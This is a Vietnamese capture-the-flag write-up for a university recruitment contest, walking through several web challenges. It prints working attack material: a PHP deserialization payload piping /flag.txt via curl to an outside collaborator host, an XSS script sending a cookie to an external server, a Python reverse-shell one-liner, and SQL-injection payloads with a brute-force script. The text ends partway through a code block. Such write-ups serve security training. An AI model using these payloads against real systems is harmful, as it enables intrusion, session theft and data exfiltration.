# KCSC Recruitment 2026 Writeup
...
## Santa's Shop
Mở đầu là một bài warmup Blackbox

Santa's Shop là trang web có các chức năng đăng kí tài khoản, đăng nhập, nạp tiền và mua sắm.
Sau khi đăng nhập ta được redirect về trang danh sách sản phẩm. Thử mua một sản phẩm bất kì. Sau khi mua ta có thể xem sản phẩm.

Click vào xem sản phẩm ta có thể xem mô tả:

Lúc này mình nghĩ ngay tới việc liệu mô tả này có được lưu trong html không. `Ctrl+U` để xem source HTML ta lấy được FLAG:

## Santa's Shop Revenge
Đây là một phiên bản cải tiến của Santa's Shop với những chức năng tương tự nhưng lúc này flag không còn trong source HTML.
Mục tiêu của challange này là có đủ coin để mua *Mystery Gift Box*.
Khi truy cập vào `index.php` ta thấy một loạt các gói tin load image qua tham số `image` một điển hình của SSRF, Path Traversal, LFI:

Test thử với payload:
- Đọc file:

- Gửi req:

Ta thấy cả hai payload đều thành công rất có thể server đang sử dụng `file_get_contents($_GET['image']);`
Trang web còn có endpoint `/admin` chỉ có thể truy cập qua localhost, tận dụng lỗ hổng này ta truy cập tới `/admin`

Server trả về nhập username, coin và SECRET. Thử sử dụng Path Traversal để đọc nội dung file admin.php:

Server đã chặn `..` .Rất may khi gửi tham số file không có trên server, một error được ném ra vô tình chứa cả `DOCUMENT ROOT: /var/www/html`

Bây giờ ta đọc file admin.php qua absolute path:

Lại một lớp filter nữa, tuy nhiên ta có thể sử dụng shema `php://filter/read=convert.base64-encode/resource` để đưa output về dạng base64:

Decode Base64, thành công đọc file `admin.php`:

Tóm tắt, server lấy secret tại `$secret = trim(file_get_contents("/secret.txt"));` để so sánh với secret từ người dùng và cập nhật coin qua username.
Đọc file `/secret.txt`:

Cập nhật coin:

Thành công mua FLAG:

## Bảy Viên Bi Rồng

Bài này cung cấp Source và ở phần mô tả có đưa hướng RCE. Ta tiến hành đọc source.
Đầu tiên ta thấy có 2 class đáng chú ý:
- Class Wish tại file `dragon/public/deploy/classes/Wish.php`

Tại dòng 12 hàm `grant()` thực hiện gọi động một hàm `callback` với tham số `$content`.
Nếu có thể kiểm soát được hai thuộc tính này:
`$callback`: trỏ tới một hàm nguy hiểm (ví dụ system, exec,shell_exec)
`$content`: payload lệnh
→ có thể dẫn đến thực thi lệnh tùy ý (RCE).
Tuy nhiên lúc này ta cần một hàm gọi tới function `grant()` này -> class Shenron.
- Class Shenron tại file `dragon/public/deploy/classes/Shenron.php`

Magic method `destruct()` sẽ tự động được gọi khi object bị hủy.
Tại đây, chương trình kiểm tra hai điều kiện:
`$this->balls_collected` === 7
`$this->current_wish` là instance của class Wish
Nếu cả hai điều kiện thỏa mãn, hàm `grant()` của object Wish sẽ được gọi.
Tại file `dragon/public/deploy/config.php`

Quan sát hàm `getCurrentUser()` chương trình thực hiện:
- Decode giá trị cookie bằng base64_decode
- Truyền trực tiếp dữ liệu này vào hàm unserialize() (dòng 21)
> [unserialize] là một hàm cực kỳ nguy hiểm nếu dữ liệu đầu vào có thể bị kiểm soát bởi người dùng, vì nó cho phép khởi tạo object tùy ý và kích hoạt các magic method tương ứng.
Nếu attacker cung cấp một payload serialize chứa object Shenron (với các thuộc tính đã được thiết lập phù hợp), khi payload này đi qua `unserialize()`, magic method `destruct()` của Shenron sẽ được gọi.
Khi truy cập vào trang `index.php`, server thực hiện gọi hàm `getCurrentUser()` tại dòng số 4:

Như vậy ta có toàn bộ luồng thực thi để RCE:
-> Truy cập index.php
-> getCurrentUser()
-> unserialize(cookie)
-> destruct() của Shenron
-> grant() của Wish
-> Thực thi lệnh tùy ý (RCE)
#### Exploit
Nội dung file khởi tạo Object:
<details>
<summary>ex.php</summary>
```php
<?php
class Wish {
public $content;
public $callback;
public function grant() {
if ($this->callback && $this->content) {
return ($this->callback)($this->content);
}
return false;
}
}
class Shenron {
public $balls_collected = 0;
public $current_wish = null;
public $summoned_at = null;
public function __destruct() {
if ($this->balls_collected === 7 && $this->current_wish instanceof Wish) {
$this->summoned_at = date('Y-m-d H:i:s');
$this->current_wish->grant();
}
}
}
$wish = new Wish();
$wish->callback = 'System';
$wish->content = 'cat /flag.txt | curl -X POST --data-binary @- https://c1ew3t2encv8m8x5tbvp41gtkkqbe22r.oastify.com';
$shenron = new Shenron();
$shenron->balls_collected = 7;
$shenron->current_wish = $wish;
$serialized = serialize($shenron);
$encoded = base64_encode($serialized);
echo $encoded;
?>
```
</details>
Khởi tạo Object theo luồng thực thi với `callback=system` và `content=ls / | curl -X POST --data-binary @- https://c1ew3t2encv8m8x5tbvp41gtkkqbe22r.oastify.com` để tìm đường dẫn tới flag.

Lấy data base64 vừa tạo và gửi qua `cookie` tại endpoint `/index.php`

Thành công đọc đường dẫn tới file chứa flag:

Thực hiện tương tự với `content=cat /flag.txt | curl -X POST --data-binary @- https://c1ew3t2encv8m8x5tbvp41gtkkqbe22r.oastify.com`, ta thành công lấy flag:

## Hori's Blog

Tiếp tục với một bài Blackbox và có mô tả *Flag in Cookie*
Tổng quan, challange mô phỏng trang web Blog gồm có chức năng đăng nhập, đăng kí.
Ngoài ra, ứng dụng còn cung cấp thêm hai endpoint đáng chú ý:
- `/phpinfo.php`
- `/bot.php`– cho phép gửi một endpoint để bot (admin) truy cập
Sau khi đăng nhập ta có thêm endpoint `/post.php`.
Dựa trên mô tả `Flag in Cookie`, kết hợp với việc tồn tại endpoint cho bot truy cập, mình nghĩ ngay tới XSS.
Sau khi đăng nhập, người dùng có thể truy cập endpoint `/post.php` để tạo bài viết:

Sau khi Publish ta được redirect tới `/view.php?id=4ae27fd02392e0ad`

`Ctrl+U` để xem source HTML ta thấy ở đây có 3 tham số được reflected tại endpoint này bao gồm `username`, `title` và `content`.

Thử với payload HTML Injection tại `title` và `content`:

Ta thấy tại `title` các tag đã được encode tuy nhiên tại `content` thì không, điều này xác nhận rằng tham số `content` dính HTML Injection:

Test với payload XSS tại tham số `content`:

Alert hiện ra chứng tỏ tham số `content` đã dính lỗ hổng XSS:

**Khai thác thông qua bot**:
- Ứng dụng cung cấp endpoint /bot.php, cho phép gửi một URL để bot (admin) truy cập.
- Do đó, ta có thể gửi URL chứa payload XSS để thực thi JavaScript trên trình duyệt của admin, từ đó đánh cắp cookie.
Tuy nhiên, quan sát response header cho thấy cookie được set với flag HttpOnly:

Với tham số này ta không thể truy cập Cookie qua JS. Rất may trang web còn cung cấp thêm endpoint /phpinfo.php. Endpoint này hiển thị đầy đủ thông tin cấu hình PHP, bao gồm cả giá trị cookie mà mình đang tìm kiếm:

Do nội dung trong endpoint phpnifo rất dài nên ta chỉ trích xuất phần cookie để trả về:
Payload:
```js
fetch('/phpinfo.php')
.then(r => r.text())
.then(t => {
let m = t.match(/HTTP_COOKIE\s*<\/td>\s*<td class="v">([^<]+)/);
if (!m) return;
fetch('https://vjiflckx5vdr4rfobud8mkyc238uwqkf.oastify.com/', {
method: 'POST',
mode: 'no-cors',
body: m[1]
});
});
```
Payload 1 dòng: ( do server tự động thêm `\<br>`làm phá vỡ cấu trúc câu lệnh nên ta gửi payload mà không chứa `/n` )
```js
fetch('/phpinfo.php').then(r=>r.text()).then(t=>(m=t.match(/HTTP_COOKIE\s*<\/td>\s*<td class="v">([^<]+)/))&&fetch('https://vjiflckx5vdr4rfobud8mkyc238uwqkf.oastify.com/',{method:'POST',mode:'no-cors',body:m[1]}));
```
Tạo một bài viết mới với tham số content chứa payload trên.
Sau khi publish, truy cập endpoint `/view.php` với `id` của bài viết vừa tạo, ta quan sát thấy trình duyệt thực hiện request tới Collaborator server, xác nhận payload đã được thực thi thành công.


Gửi endpoint chứa payload cướp cookie `/view.php?id=a5d28a0f3037097c` cho bot tại `/bot.php`:

Cookie của admin kèm Flag được gửi về Collaborator server:

## Hoshino Portal

#### Tổng quan
Server gồm các chức năng như đăng nhập, đăng kí, quên mật khẩu và Dashboard. Flag được trả về tại endpoint `/admin/flag` tuy nhiên endpoint này yêu cầu `role admin`.
User thông thường khi đăng kí sẽ có `role user`.
-> Mục tiêu của challange là có được `role admin` sau đó truy cập `/admin/flag` để hoàn thành challange.
#### Phân tích source
Sau khi đọc source của challange, mình đã tìm thấy lỗ hổng Logic tại chức năng ResetPassword.
Source code của chức năng ResetPassword:
<details>
<summary>src/route/resetPassword.js</summary>
```js
const express = require('express');
const bcrypt = require('bcrypt');
const { v4: uuidv4 } = require('uuid');
const db = require('../config/database');
const { checkCodeReset, updateCodeReset } = require('../services/resetPasswordService');
const router = express.Router();
router.post('/resetpassword', (req, res) => {
const { username, email, passwordnew, code_reset } = req.body;
if (!username || !email) {
return res.status(400).json({ error: 'Username and email are required' });
}
const validateQuery = 'SELECT 1 FROM users WHERE username = ? UNION SELECT 2 FROM users WHERE email = ?';
db.query(validateQuery, [username, email], (error, results) => {
if (error) {
console.error('Validation error:', error);
return res.status(500).json({ error: 'Database error during validation' });
}
if (results.length !== 2) {
return res.status(400).json({ error: 'Invalid username or email' });
}
if (!code_reset || code_reset === '') {
let newResetCode;
if (email.toLowerCase().includes('admin')) {
newResetCode = uuidv4();
} else {
const randomLetter = String.fromCharCode(65 + Math.floor(Math.random() * 6));
const randomNumbers = Math.floor(10 + Math.random() * 90);
newResetCode = randomLetter + randomNumbers + randomLetter;
}
updateCodeReset(username, email, newResetCode, (error, resetCode) => {
if (error) {
return res.status(500).json({ error: 'Failed to create reset code' });
}
res.json({
success: true,
message: 'Reset code generated. Check your email (feature not yet implemented)'
});
});
} else {
checkCodeReset(username, email, code_reset.trim(), async (error, isValid, errorMessage, resetData) => {
if (error) {
return res.status(500).json({ error: 'Database error' });
}
if (!isValid) {
return res.status(400).json({ error: errorMessage });
}
if (!passwordnew) {
return res.status(400).json({ error: 'New password is required' });
}
const hashedPassword = await bcrypt.hash(passwordnew, 10);
db.query(
'UPDATE users SET password = ? WHERE username = ?',
[hashedPassword, username],
(error, results) => {
if (error) {
return res.status(500).json({ error: 'Failed to update password' });
}
updateCodeReset(username, email, "", (err) => {
if (err) console.error('Failed to reset code:', err);
});
res.json({
success: true,
message: 'Password reset successful! Please login with your new password.'
});
}
);
});
}
});
});
module.exports = router;
```
</details>
<details>
<summary>src/services/resetPassword.js</summary>
```js
const bcrypt = require('bcrypt');
const { v4: uuidv4 } = require('uuid');
const db = require('../config/database');
function checkCodeReset(username, email, code_reset, callback) {
db.query(
'SELECT *, TIMESTAMPDIFF(MINUTE, createdate, NOW()) as minutes_elapsed FROM users_resetpassword WHERE username = ? AND email = ?',
[username, email],
(error, results) => {
if (error) {
return callback(error, null);
}
if (results.length === 0) {
return callback(null, false, 'Invalid reset code');
}
const resetData = results[0];
if (resetData.minutes_elapsed > 5) {
return callback(null, false, 'Reset code has expired. Please request a new one.');
}
if (resetData.code_reset !== code_reset) {
return callback(null, false, 'Invalid reset code', resetData);
}
return callback(null, true, null, resetData);
}
);
}
function updateCodeReset(username, email, code_reset, callback) {
db.query(
'SELECT * FROM users_resetpassword WHERE username = ? AND email = ?',
[username, email],
(error, results) => {
if (error) {
return callback(error, null);
}
if (results.length > 0) {
db.query(
'UPDATE users_resetpassword SET code_reset = ?, createdate = CURRENT_TIMESTAMP WHERE username = ? AND email = ?',
[code_reset, username, email],
(error, results) => {
if (error) {
return callback(error, null);
}
return callback(null, code_reset);
}
);
} else {
db.query(
'INSERT INTO users_resetpassword (username, email, code_reset) VALUES (?, ?, ?)',
[username, email, code_reset],
(error, results) => {
if (error) {
return callback(error, null);
}
return callback(null, code_reset);
}
);
}
}
);
}
module.exports = {
checkCodeReset,
updateCodeReset
};
```
</details>
Tại file `routeresetPassword.js`, server nhận vào 4 tham số:
- username
- email
- passwordnew
- code_reset
Tại dòng 16, server thực hiện kiểm tra sự tồn tại của `username` và `email` một cách độc lập thông qua câu lệnh SQL sử dụng UNION.
Đây là một logic flaw nghiêm trọng, bởi vì ứng dụng không đảm bảo `username` và `email` thuộc cùng một tài khoản. Do đó, attacker có thể gửi yêu cầu reset password cho tài khoản admin bằng cách kết hợp `username` của admin với `email` của attacker, và vẫn vượt qua bước xác thực.

Tiếp tục, nếu như gửi yêu cầu resetPassword mà không có tham số `code_reset` thì code_reset mới sẽ được tạo:

Tại dòng 30-31 server kiểm tra nếu tham số `email` chứa admin thì tạo 1 `code_reset` mới dạng `uuidv4()`. Đây là một cơ chế tương đối an toàn do không thể brute-force trong thời gian ngắn.
Tuy nhiên, trong trường hợp `email` không chứa chuỗi admin, mã `code_reset` lại được sinh ra theo một thuật toán rất yếu và dễ đoán.
Cụ thể, tại dòng 33–35, `code_reset` được tạo theo dạng:
```text
[A–F][10-99][A–F]
```
Như vậy, nếu brute force ta chỉ cần thử tối đa `6x90x6 = 3240` trường hợp.
Đi sâu vào hàm `updateCodeReset()`:

> [src/services/resetPasswordService.js] dòng 33-65
Hàm này hoạt động theo hai bước:
- Kiểm tra sự tồn tại của bản ghi reset password dựa trên cặp (`username`, `email`)
- Nếu đã tồn tại → cập nhật `code_reset` mới
- Nếu chưa tồn tại → tạo bản ghi mới
Điểm quan trọng: toàn bộ quá trình này tin tưởng tuyệt đối cặp `username` và `email` do người dùng cung cấp, trong khi trước đó ứng dụng không đảm bảo hai giá trị này thuộc cùng một tài khoản hợp lệ.
Kiểm tra `code_reset` và cập nhật mật khẩu:
Tiếp tục, nếu client gửi kèm tham số `code_reset`, giá trị này sẽ được đưa vào hàm `checkCodeReset()`:

> [src/services/resetPasswordService.js] dòng 5-31
Hàm này kiểm tra:
- Sự tồn tại của code_reset dựa trên cặp (username, email)
- Thời hạn hiệu lực của code_reset
Nếu vượt qua các điều kiện kiểm tra, chương trình sẽ tiến hành cập nhật mật khẩu:

Đáng chú ý, tại bước này mật khẩu chỉ được cập nhật dựa trên `username`, trong khi `email` không còn được xác thực lại. Điều này cho phép attacker reset mật khẩu của admin bằng cách sử dụng `email` do chính mình kiểm soát.
**Tóm tắt luồng khai thác reset password**
1. Gửi request tới endpoint /resetpassword với:
- username = admin
- email = email của attacker (có tồn tại và không chứa chuỗi admin)
- Không gửi code_reset để trigger tạo mã reset mới
2. Gửi request đầy đủ tham số đồng thời bruteforce `code_reset`:
- username
- email
- passwordnew
- code_reset : brute-force
Khi BruteForce thành công, attacker có thể reset mật khẩu tài khoản admin.
#### Exploit
Tạo tài khoản với `email` không chứa từ khóa admin -> lúc này rơi vào nhánh `code_reset` yếu:

Thực hiện `resetPassword` tài khoản admin với `email` vừa tạo:

Tiến hành bruteforce `code_reset` (thực hiện các thao tác trong thời gian < 5 phút):

Brute thành công thực hiện đăng nhập tài khoản admin với password vừa reset:

Truy cập tới `/admin/flag` để lấy flag:

## Simple Web

Tiếp tục với một challange Blackbox
Tổng quan:
challange chỉ có 2 chức năng đó là đăng kí và đăng nhập. Sau khi đăng nhập ta được redirect tới `/guest` tại đây không có thêm bất kì chức năng nào khác.
Lúc này dữ liệu từ người dùng kiểm soát được chỉ có `username`, `password` tại endpoint đăng kí, đăng nhập. `Cookie` và các `Headers`.
Thực hiện fuzz, mình phát hiện thêm 2 endpoint mới đó là `/admin` và `/flag` :

Thế nhưng các endpoint này đều không thể truy cập trực tiếp từ tài khoản thường.Từ đây, mình có nghĩ tới 2 hướng khai thác đó là:
- HTTP Request Smuglling sau đó bypass front security control
- Host Header Attack
Tuy nhiên, sau khi thử một số payload thì thấy không khả thi.
Suy ngẫm một thời gian cộng với hint `unicode normalize` mình đã nghĩ sang hướng đăng kí với một tài khoản admin nhưng với unicode khác thì liệu sẽ như thế nào.
> Inconsistent Unicode normalization giữa các bước xử lý
Thử đăng kí với tài khoản admin thông thường thì có cảnh báo càng làm mình chắc chắn với hướng này hơn:

Sau khi thử với một số dạng unicode thì mình đã thành công với dạng Fullwidth Latin characters:
```
admin
```

Thành công đăng nhập vào tài khoản admin:

Sau khi đăng nhập ta có thêm một attack surface mới đó là fetch url -> ssrf và có mô tả:
` Security Notice: You can only read /flag with local access`

Thử truy cập vào `localhost` thì thành công:

Tuy nhiên khi truy cập tới endpoint `/flag` thì bị chặn:
`You can not access the flag directly`

Thử thêm path traversal:
`No no! Path traversal detected`

Lúc này mình chuyển hướng qua đoán server sẽ chặn `url` có đuôi là flag, thử thêm query phía sau, thành công lấy được flag:

## Ka Cê Ét Cê

#### Phân tích source code:
Sau khi rà soát, có những đoạn code đáng chú ý sau:
- Funtion `decodeToken()` trong class JWT decode mà không có sự verify:

> [src/utils/JWT.php] dòng 61-70
Hàm trả về phần thông tin user của JWT token, phần mà attacker có thể chỉnh sửa tùy ý, hơn nữa lại không có bất kì sự verify nào. Nếu hàm này sử dụng cho việc check role như admin, ... thì có thể bypass một cách dễ dàng.
- Sử dụng funtion `decodeToken()` hàm không có cơ chế verify để check `role admin` trong class KCSC:
Vì decode không verify, attacker có thể đăng ký user bình thường → chỉnh sửa payload → giả mạo admin.

> [src/utils/KCSC.php] dòng 23-34
- Tiềm tàng lỗ hổng XXE trong function `update_members()` tại class KCSC:

> [src/utils/KCSC.php] dòng 36-59
Tại dòng 41, server thực hiện loadXML với nội dung là `$xml_content` cùng với 2 tham số:
- LIBXML_DTDLOAD: Cho phép load DTD (Document Type Definition) trong XML. -> cho phép load External Entity -> Nguyên nhân chính dẫn đến XXE
- LIBXML_NOENT: Cho phép thay thế (expand) entity.
Nếu có thể kiểm soát `$xml_content` ta có thể khai thác XXE để đọc file nội bộ, vector thay thế cho ssrf,...
Tất cả điểm nguy hiểm trên tụ họp trong api `update.php`:

> [src/api/members/update.php]
- Tại dòng 14-21, server thực hiện việc kiểm tra role qua hàm isAdmin() của class KCSC ( hàm dễ dàng bypass đã phân tích ở trên ) dựa trên cookie.
- Nếu pass check role, server thực hiện lấy biến `$xml_content` từ dữ liệu người dùng gửi lên mà không đi qua bất kì bước santitize nào, sau đó rơi thẳng vào hàm `update_members` -> dẫn đến lỗ hổng XXE.
**Tóm tắt luồng khai thác XXE**:
1. Đăng nhập user bình thường → nhận JWT hợp lệ
2. Chỉnh sửa payload JWT để giả mạo quyền admin
3. Gửi request tới endpoint update_members với JWT đã chỉnh sửa
4. Chèn XML payload độc hại vào $xml_content
5. Server loadXML với LIBXML_DTDLOAD | LIBXML_NOENT thực thi → khai thác XXE
#### Exploit
- Lấy token hợp lệ:

- Chỉnh sửa token với `role=admin` + gửi payload xxe đọc file `/etc/passwd` chứng minh khai thác thành công XXE:


Tại Dockerfile, ta thấy file flag sau khi copy được mv sang một path khác:

Vì ADMIN_PASSWORD="REDACTED" trùng với flag_REDACTED.txt nên ban đầu mình nghĩ câu lệnh mv sẽ có dạng:
```bash
mv /flag.txt /flag_$ADMIN_PASSWORD.txt
```
Tuy nhiên sau khi lấy được `ADMIN_PASSWORD` qua endpoint `/note.php` thì mình không thể khai thác tiếp.


Suy nghĩ một hồi thì nghĩ tới việc câu lệnh `CMD ["sh", "-c", "mv /flag.txt /flag_REDACTED.txt && php-fpm && tail -f /dev/null"]` có được log tại file nào không.
Search thử thì mình có tìm kiếm được `/proc/*/cmdline` và trong môi trường docker:
- PID 1 là process khởi tạo container
- File /proc/1/cmdline chứa toàn bộ command dùng để start container (Docker CMD)
Vì nội dung file có chứa `0x0`, ta chuyển qua dạng output base64:

Thành công tìm được path tới flag:

Giờ chỉ cần đọc file `/flag_f46ef942743225f094999b26af3080d0.txt` để lấy flag:

## Ka Cê Ét Cê Revenge

Đây là một phiên bản cải tiến của Ka Cê Ét Cê.
Sử dụng diff để so sánh code giữa 2 phiên bản ta thấy có sự khác biệt duy nhất:

Lúc này server đã sử dụng thêm hàm `validateToken()`

> [src/utils/JWT.php] dòng 36-59
Hàm này thực hiện đầy đủ các bước xác thực JWT:
- Kiểm tra format token (3 phần: header.payload.signature)
- Verify chữ ký HMAC-SHA256 bằng secret key
- So sánh chữ ký bằng hash_equals() (an toàn timing attack)
- Kiểm tra thời hạn exp
Do đó, việc chỉnh sửa payload JWT (ví dụ thay `role=admin`) mà không có secret key sẽ làm chữ ký không hợp lệ, khiến token bị từ chối.
Tuy nhiên ta có một hy vọng mới:

> [src/api/login.php] dòng 13-25
Dòng code 19-21, nếu như `username===admin` và `password` bằng với biến môi trường `ADMIN_PASSWORD thì server sẽ trả về token hợp lệ với `role` là `admin`.
Ở phiên bản `Ka Cê Ét Cê` trước ta có đã lấy được `ADMIN_PASSWORD` qua endpoint `/note.php`
```
ADMIN_PASSWORD=Take me back to the night we met, and then I can tell myself, what the hell I'm supposed to do...
```
Thế nhưng hướng này không thành công, ADMIN_PASSWORD đã bị đổi:

Tuy nhiên vẫn còn 1 hy vọng nữa đó là secret_JWT dùng để kí liệu bị đổi chưa.
-> Sử dụng ADMIN_PASSWORD để login và lấy token hợp lệ với phiên bản cũ sau đó, sử dụng token này với phiên bản revenge:
- Lấy token ở phiên bản cũ:

- Sử dụng token này với phiên bản revenge:

- Rất may mắn mình đã thành công do secret chưa được thay đổi:

- Truy cập file `/flag_f46ef942743225frvmgmbg939293402394.txt` và lấy flag:

## Silver

Thêm 1 challange Blackbox
Challange cũng gồm các chức năng như đăng kí, đăng nhập.
Ngoài ra còn có chức năng report đáng chú ý:

url yêu cầu phải bắt đầu với `http://localhost:5000`

-> Khả năng đây là hint localhost đang chạy trên port 5000
Tuy nhiên, response trả về chỉ chứa `Admin is visiting your URL: ...`, nên tạm thời bỏ qua:

Tại endpoint `/home` giá trị của tham số `name` được reflected:

Xem source js ta thấy biến `userName` được lấy từ param `name`.
Sau đó, được nối thẳng vào chuỗi và rơi vào hàm `.innerHTML` (hàm nguy hiểm cho phép render HTML)

Test thử với payload XSS, ta xác nhận tham số `name` đã dính lỗ hổng này:

Kết hợp với endpoint /report ta sẽ craft payload cướp cookie, sau đó lấy cookie của admin:
Craft payload:

Gửi cho admin qua endpoint `/report` sau đó đăng nhập với cookie vừa lấy được ta thành công có quyền admin.
Ta có thêm endpoint /admin cho phép Download backup ( tải xuống source code của server )

Đoạn code endpoint `/admin/report-generator`:

> [silver/app.py] dòng 227-250
Với giao thức POST server nhận data từ template parameter. Sau đó đi qua hàm check length rồi rơi thẳng vào hàm `render_template_string()` tại dòng code 243.
Tại đây tham số template đã dính lỗi SSTI
#### Exploit SSTI
Payload bypass check length của mình:

Flag được lưu tại env:

Như vậy để đọc flag mình sẽ đọc file `/proc/self/environ`:
- Tạo reverse shell (Do không có Ip public nên mình sẽ dùng `Localtonet Tunnel`):


Payload:
```py
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ukwsji2e6.localto.net",8119));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
```

Lấy flag:

## Cake Of Piece

#### Tổng quan
- Challange có các endpoint như login, register, logout, search, upgrade và upload.
- Endpoint upload.php chỉ có thể truy cập khi có role admin.
- Endpoint upgrade cho phép nâng role lên admin khi có secret với secret lấy từ table secret trong database.
- Và endpoint search dính lỗ hổng SQLi.
#### Phân tích source + Exploit
##### Phân tích lỗ hổng SQLi tại endpoint `search.php`:
<details>
<summary>search.php</summary>
```php
<?php
require_once 'config.php';
if (!isLoggedIn()) {
redirect('login.php');
}
$result = '';
$error = '';
$query = '';
$table = 'users';
function hasParenAfterInt($str, $intValue) {
$numStr = (string)$intValue;
$pos = strpos($str, $numStr);
if ($pos === false) return false;
$nextPos = $pos + strlen($numStr);
return isset($str[$nextPos]) && $str[$nextPos] === ')';
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$orderBy = trim($_POST['order_by']) ?? '1';
$table = $_POST['table'] ?? 'users';
$blocked = false;
$checkint = (int)$orderBy;
if ($checkint === 0) {
$blocked = true;
}
$blacklist = ['--', '#', '/*', '*/', "\0", 'union'];
$blocked = false;
foreach ($blacklist as $bad) {
if (stripos($orderBy, $bad) !== false) {
$blocked = true;
break;
}
}
if ($blocked) {
$error = 'Blocked characters detected!';
} else {
try {
if ($table === 'users') {
if (!is_numeric($orderBy)) {
$error = 'Order by must be a number for users table!';
} else {
$sql = "SELECT COUNT(*) as count FROM (SELECT * FROM users ORDER BY {$orderBy}) a";
$stmt = $pdo->query($sql);
$data = $stmt->fetch(PDO::FETCH_ASSOC);
$result = "Total users: " . $data['count'];
$query = $sql;
}
} else if ($table === 'phughj') {
$sql = "SELECT COUNT(*) as count FROM (SELECT * FROM phughj ORDER BY {$orderBy}) a";
if (!hasParenAfterInt($sql , $checkint)) {
throw new Exception('input not allowed');
}
$stmt = $pdo->query($sql);
$data = $stmt->fetch(PDO::FETCH_ASSOC);
$result = "Total records: " . $data['count'];
$query = $sql;
} else {
$error = 'Invalid table selected!';
}
} catch(PDOException $e) {
$error = 'Query failed: ' . $e->getMessage();
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Search</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<h2>⚔ Search - Database Query</h2>
<div class="info">
⚠ Count records from different tables. Choose a table and specify the ORDER BY column.
</div>
<?php if ($error): ?>
<div class="error"><?php echo htmlspecialchars($error); ?></div>
<?php endif; ?>
<?php if ($result): ?>
<div class="result">
<?php echo htmlspecialchars($result); ?>
<?php if ($query): ?>
<div class="query-display">
<strong>Query executed:</strong><br>
<?php echo htmlspecialchars($query); ?>
</div>
<?php endif; ?>
</div>
<?php endif; ?>
<form method="POST">
<div class="form-group">
<label for="table">Select Table</label>
<select id="table" name="table">
<option value="users" <?php echo $table === 'users' ? 'selected' : ''; ?>>Users Table</option>
<option value="phughj" <?php echo $table === 'phughj' ? 'selected' : ''; ?>>Phughj Table</option>
</select>
</div>
<div class="form-group">
<label for="order_by">ORDER BY</label>
<input type="text" id="order_by" name="order_by" required placeholder="e.g., 1 or hoshino">
</div>
<button type="submit">Search</button>
</form>
<div class="link">
<a href="index.php">⌘ Home</a>
</div>
</div>
</body>
</html>
```
</details>
Đầu tiên, ta thấy:
```php=
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$orderBy = trim($_POST['order_by']) ?? '1';
$table = $_POST['table'] ?? 'users';
```
Tham số order_by và table được lấy trực tiếp từ POST request.
Sau đó đi qua một lớp filter chưa chặt chẽ:
```php
$checkint = (int)$orderBy;
if ($checkint === 0) {
$blocked = true;
}
$blacklist = ['--', '#', '/*', '*/', "\0", 'union'];
foreach ($blacklist as $bad) {
if (stripos($orderBy, $bad) !== false) {
$blocked = true;
break;
}
}
```
Tham số orderby chỉ cần bắt đầu bằng 1 số và không sử dụng các từ khóa trong blacklist là có thể dễ dàng qua lớp này.
Tiếp tục, nhìn vào nhánh nếu `table==='phughj'`:

Ta thấy `orderBy` được nối trực tiếp vào câu query -> dẫn tới lỗ hổng SQLi.
Tuy nhiên, lại có thêm 1 lớp filer nữa tại dòng code 53 - hàm `hasParenAfterInt()` :

Đơn giản thì hàm này chỉ check sau number đầu tiên có phải là ')' hay không:
Ví du:
- 1\) abc : true
- abc : false
- 1abc : false
Trong database có chứa table secret:

Mục tiêu của ta là lấy được giá trị này và dùng nó để nâng role lên admin qua endpoint `upgrade.php`
Tổng hợp lại thì đây là hướng bypass của mình để lấy được secret từ db:
- Payload:
```sql
1) b, (query here
```
Tại dòng 64, ta thấy có error message được in ra:

Payload ban đầu với dạng error based, tuy nhiên do `secret_value` có giá trị dài hơn max error nên chỉ in ra được 1 phần:
Payload:
```sql
1) b, (select EXTRACTVALUE(1, CONCAT(0x5c, (SELECT secret_value from secret)))
```

-> Không lấy được hết secret.
Chuyển qua Time Based:
Test thử trong local, delay được thể hiện rõ rệt:
Payload:
```sql
1) b, (select if(binary substr((select secret_value from secret) , {i} , 1 )='{c}',sleep(4),1)
```
- Khi điều kiện true:

- Khi điều kiện false:

Tiến hành khai thác brute `secret` từ server và nâng `role` lên `admin`:
1. Brute Length của `secret`:

2. Brute giá trị của secret:

3. Lấy secret vừa brute nâng role lên admin qua endpoint `upgrade.php`:

-> Thành công lên admin.
<details>
<summary>brute.py</summary>
```php
import requests
url = "http://67.223.119.69:5016/search.php"
cookies = {"PHPSESSID": "310845b07cc612ef9ce69613bb3fc341"}
CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@#$%^&*()-=+[];:',.<>/?`~ "
// Brute char
for i in range(1, 43):
for c in CHARS:
data = {"table": "phughj", "order_by": f"1) b, (select if(binary substr((select secret_value from secret) , {i} , 1 )='{c}',sleep(4),1)"}
r = requests.post(url,cookies=cookies, data=data)
if r.elapsed.total_seconds() > 4:
print(f"Found character {i}: {c}")
break
// Brute length
for i in range(1, 60):
data = {"table": "phughj", "order_by": f"1) b, (select if(LENGTH((SELECT secret_value FROM secret))={i},sleep(4),1)"}
r = requests.post(url,cookies=cookies, data=data)
if r.elapsed.total_seconds() > 4:
print(f"Secret length: {i}")
break
```
</details>
Khi nhìn lại thì mình thấy có 1 cách dễ hơn để lấy được `secret` đó là chia nhỏ error message:
-Payload:
```sql
1) b, (select EXTRACTVALUE(1, CONCAT(0x5c, (SELECT substr(secret_value,1,25) from secret)))
```
- Đoạn đầu của secret:

Đoạn sau của secret:

##### Leak upload_folder + RCE tại endpoint `/upload.php`
Sau khi nâng quyền lên admin ta có thể truy cập thêm 1 endpoint mới là `upload.php`
Phân tích source:

Tại dòng 67–68, file được lưu vào thư mục:
```php
UPLOAD_BASE_DIR/$userFolder
```
Trong đó` $userFolder` được lấy từ hàm `getUserUploadFolder()`:

Cơ chế của hàm:
- Nếu user đã có upload_folder trong database → trả về giá trị này
- Nếu chưa có:
- Sinh folder mới bằng `bin2hex(random_bytes(4)` (8 ký tự hex)
- Tạo thư mục tương ứng trên filesystem
- Lưu giá trị này vào database
Như vậy, mỗi user admin sẽ có một thư mục upload dạng:
```php
